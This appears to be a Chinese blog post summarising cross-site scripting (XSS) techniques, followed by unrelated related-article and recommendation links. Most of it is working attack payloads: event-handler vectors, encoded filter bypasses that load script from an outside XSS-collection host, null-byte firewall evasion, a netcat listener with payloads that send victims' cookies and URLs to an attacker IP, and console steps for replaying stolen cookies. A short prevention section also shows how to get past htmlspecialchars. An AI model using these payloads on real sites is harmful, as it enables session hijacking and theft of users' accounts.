XSS一些总结
XSS一些总结
除了script以外大多标签自动加载触发JS代码大多用的都是on事件,以下标签都可以用下面的方法去打Cookie以及url等
常见标签
<img><input><details><svg><select><iframe>
<video><audio><textarea> <body><Style><Media>
such as: 其他的标签自动触发百度一下就好了
<body onpageshow=alert(1)>
Media 标签是利用音视频标签来加载XSS Payload
测试了一下自动触发事件的标签
onloadstart: 在浏览器开始寻找指定音视频(audio/video)时触发;
<audio onloadstart=alert(1) src="x.mp3" />
反射内容
-alert(1)- -prompt(1)- -confirm(1)-
javascript伪协议
<iframe src=javascript:alert('xss');></iframe>
利用link远程包含js文件
PS:在无CSP的情况下才可以
<link rel=import href="http://127.0.0.1/1.js">
常见的绕过技巧
1、用/代替空格
<img/src="x"/onerror=alert("xss");>
2、大小写绕过
3、双写关键字
4、字符拼接
利用eval:
<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
利用top:
<img src="x" onerror=top["al"+"ert"](`xss`);>
5、编码绕过
------------------
Base64编码
------------------
'"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veHNzOC5jYy9uR1JTIjtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw== onerror=eval(atob(this.id))>
<iframe src="data:text/html;base64,PHNDUmlQdC9TckM9Ly94c3M4LmNjL25HUlM+">
------------------
ASCII编码
------------------
<img src="" onerror="document.write(String.fromCharCode(60,115,67,82,105,80,116,32,115,82,67,61,47,47,120,115,115,56,46,99,99,47,110,71,82,83,62,60,47,115,67,114,73,112,84,62))">
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
-------------------
空字节【未成功过,自测】
-------------------
最长用来绕过mod_security防火墙,形式如下:
<scri%00pt>alert(1);</scri%00pt>
<scri\x00pt>alert(1);</scri%00pt>
<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>
空字节只适用于PHP 5.3.8以上的版本
-------------------
Unicode编码绕过
-------------------
<img src="x" onerror="alert("xss");">
<img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">
-------------------
常见字符过滤
*过滤<script>利用拼接然后继续使用XSS平台【双写,编码自己自己尝试】
<img src=x onerror=s=createElement('scr'+'ipt');body.appendChild(s);s.src='//xss8.cc/nGRS';>
*过滤单双引号
如果是html标签中,我们可以不用引号。如果是在js中,我们可以用反引号代替单双引号
<img src="x" onerror=alert(`xss`);>
*过滤括号
当括号被过滤的时候可以使用throw来绕过
<svg/onload="window.onerror=eval;throw'=alert\x281\x29';">
*过滤url地址
使用URL编码、十进制IP、八进制IP、hex、html标签中用//可以代替http://、使用\\
使用中文逗号代替英文逗号
其他的Payload
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;
Eval & 其它冗余符号
<img src="x" onerror=eval()>
eval('~a~le~rt~~(~~1~~)~'.replace(/~/g, ''))
eval(\'~a~le~rt~~(~~1~~)~\'.replace(/~/g, \'\'))
eval(/~a~le~rt~~(~~1~~)~/.source.replace(/~/g, new String()))
var x = eval; x(‘alert(1)’)
(1, eval)('alert(1)')
eval.call(null, 'alert(1)')
SVG黑魔法 IMG标签 等其他同理
nc -lvvp 1234
<svg/onload="document.location='http://IP:PORT/?'+document.URL+':'+document.cookie">
<img src=1 onerror="document.location='http://IP:PORT/?'+document.URL+':'+document.cookie">
获取当前域名URL:
window.location.href
document.location
document.URL
图片探测路径
只要对方网站可以调用外部图片(或可自定义HTML)。你就可以拿到对方当前的后台、浏览器、IP地址之类的信息【有些网站做了meta referer设置,referer就抓不到了】
搜索图片XSS即可,XSS平台是有这种的。原理就是图片嵌入了前端的一些代码。例如:<img src="http://IP/test.php"/>
然后再PHP里面写入获取HTTP_REFERER',
'REMOTE_ADDR',
'HTTP_USER_AGENT
即可达到目的
console设置Cookie
var cookiestr="你的打到的cookie内容";var arr = cookiestr.split(";");
for(var i in arr){document.cookie=arr[i];}
前端钓鱼
https://www.cnblogs.com/-qing-/p/10871625.html
apache httponly bypass
利用apache server head limit 8192字节限制, 从400状态页爆出httponly保护的cookie
预防XSS
CSP策略:https://www.zhihu.com/question/21979782
PHP的函数:htmlspecialchars、htmlentities
htmlspecialchars默认配置是不过滤单引号的。只有设置了:quotestyle 选项为ENT_QUOTES才会过滤单引号,所以咋只要'onmouseover='alert(document.domain)这样既可绕过,根据实际情况来吧。
参考:https://xz.aliyun.com/t/4067
https://www.cnblogs.com/-qing-/p/10872564.html
XSS一些总结的更多相关文章
- 防御XSS攻击-encode用户输入内容的重要性
一.开场先科普下XSS 跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS.恶 ...
- XSS
XSS的含义 XSS(Cross Site Scripting)即跨站脚本.跨站的主要内容是在脚本上. 跨站脚本 跨站脚本的跨,体现了浏览器的特性,可以跨域.所以也就给远程代码或者第三方域上的代码提供 ...
- 【XSS】延长 XSS 生命期
XSS 的本质仍是一段脚本.和其他文档元素一样,页面关了一切都销毁.除非能将脚本蔓延到页面以外的地方,那样才能获得更长的生命力. 庆幸的是,从 DOM 诞生的那一天起,就已为我们准备了这个特殊的功能, ...
- 探索ASP.NET MVC5系列之~~~2.视图篇(上)---包含XSS防御和异步分部视图的处理
其实任何资料里面的任何知识点都无所谓,都是不重要的,重要的是学习方法,自行摸索的过程(不妥之处欢迎指正) 汇总:http://www.cnblogs.com/dunitian/p/4822808.ht ...
- XSS分析及预防
XSS(Cross Site Scripting),又称跨站脚本,XSS的重点不在于跨站点,而是在于脚本的执行.在WEB前端应用日益发展的今天,XSS漏洞尤其容易被开发人员忽视,最终可能造成对个人信息 ...
- 个人网站对xss跨站脚本攻击(重点是富文本编辑器情况)和sql注入攻击的防范
昨天本博客受到了xss跨站脚本注入攻击,3分钟攻陷--其实攻击者进攻的手法很简单,没啥技术含量.只能感叹自己之前竟然完全没防范. 这是数据库里留下的一些记录.最后那人弄了一个无限循环弹出框的脚本,估计 ...
- xss和sql注入原理学习
8.4 Web跨站脚本攻击 8.4.1 跨站脚本攻击的原理(1) 跨站脚本在英文中称为Cross-Site Scripting,缩写为CSS.但是,由于层叠样式表 (Cascading Style ...
- XSS 前端防火墙 —— 整装待发
到目前为止,我们把能用前端脚本防御 XSS 的方案都列举了一遍. 尽管看起来似乎很复杂累赘,不过那些是理论探讨而已,在实际中未必要都实现.我们的目标只是为了预警,能发现问题就行,并非要做到滴水不漏的程 ...
- XSS 前端防火墙 —— 天衣无缝的防护
上一篇讲解了钩子程序的攻防实战,并实现了一套对框架页的监控方案,将防护作用到所有子页面. 到目前为止,我们防护的深度已经差不多,但广度还有所欠缺. 例如,我们的属性钩子只考虑了 setAttribut ...
- XSS 前端防火墙 —— 无懈可击的钩子
昨天尝试了一系列的可疑模块拦截试验,尽管最终的方案还存在着一些兼容性问题,但大体思路已经明确了: 静态模块:使用 MutationObserver 扫描. 动态模块:通过 API 钩子来拦截路径属性. ...
随机推荐
- [算法] 数据结构 splay(伸展树)解析
前言 splay学了已经很久了,只不过一直没有总结,鸽了好久来写一篇总结. 先介绍 splay:亦称伸展树,为二叉搜索树的一种,部分操作能在 \(O( \log n)\) 内完成,如插入.查找.删除. ...
- Centos 7常见问题——SMBus Host Controller not enabled!
在使用虚拟机Centos7操作系统偶尔会遇到,重启开机过程中出现如下图情况,无法正常开机 出现这种情况的可能原因就是你在虚拟机中添加了网卡或硬盘,还有给内存添加了容量之类就会导致开机有这种报错 解决方 ...
- Redis学习笔记八:集群模式
作者:Grey 原文地址:Redis学习笔记八:集群模式 前面提到的Redis学习笔记七:主从复制和哨兵只能解决Redis的单点压力大和单点故障问题,接下来要讲的Redis Cluster模式,主要是 ...
- DDD划分领域、子域,核心域,支撑域的目的
名词解释 在DDD兴起的原因以及与微服务的关系中曾举了一个研究桃树的例子,如果要研究桃树,将桃树根据器官分成根.茎.叶.花.果实.种子,这每一种器官都可以认为是一个研究领域,而领域又有更加具体的细分, ...
- IDEA debug ConcurrentLinkedQueue时抽风
1. 介绍 如标题所见,我在使用IDEA debug ConcurrentLinkedQueue的Offer方法时,发生了下面的情况. 代码如下: ConcurrentLinkedQueue<s ...
- Jmeter- 笔记8 - 分布式
分布式: 原因:在实际工作中,jmeter可能需要虚拟上千并发用户,而每台实际能虚拟的线程数时有限的,一般一台电脑小于2000个,1.5k - 2k可能就出现无法虚拟. 多台机器,一起虚拟并发用户数, ...
- Torchvision模型微调
Torchvision模型微调 本文将深入探讨如何对 torchvision 模型进行微调和特征提取,所有这些模型都已经预先在1000类的magenet数据集上训练完成.将深入介绍如何使用几个现代的C ...
- 多实例gpu_MIG技术快速提高AI生产率
多实例gpu_MIG技术快速提高AI生产率 Ride the Fast Lane to AI Productivity with Multi-Instance GPUs 一.平台介绍 NVIDIA安培 ...
- Contos8 安装 MariaDb 时报错:Could not open mysql.plugin table: table mysql.plugin
导语: 因个人服务器误删了一些文件导致MariaDB崩溃,一直在报错,所以想着重装一下,没想到在重装后启动时再次报错(与之前报错不同),这次的报错原因大致是因为某些插件表找不到. 因此又开启了漫长的寻 ...
- Excel创建序列号1000个
一.输入1,并且选择 二.开始-填充 三.选择序列 四.选择列-等差序列-步张值输入1 终止值输入1000 点击确定 五.查看结果,选中这一列 六.快捷键 Ctrl+下键 则跳转到最下方,上键则是最上 ...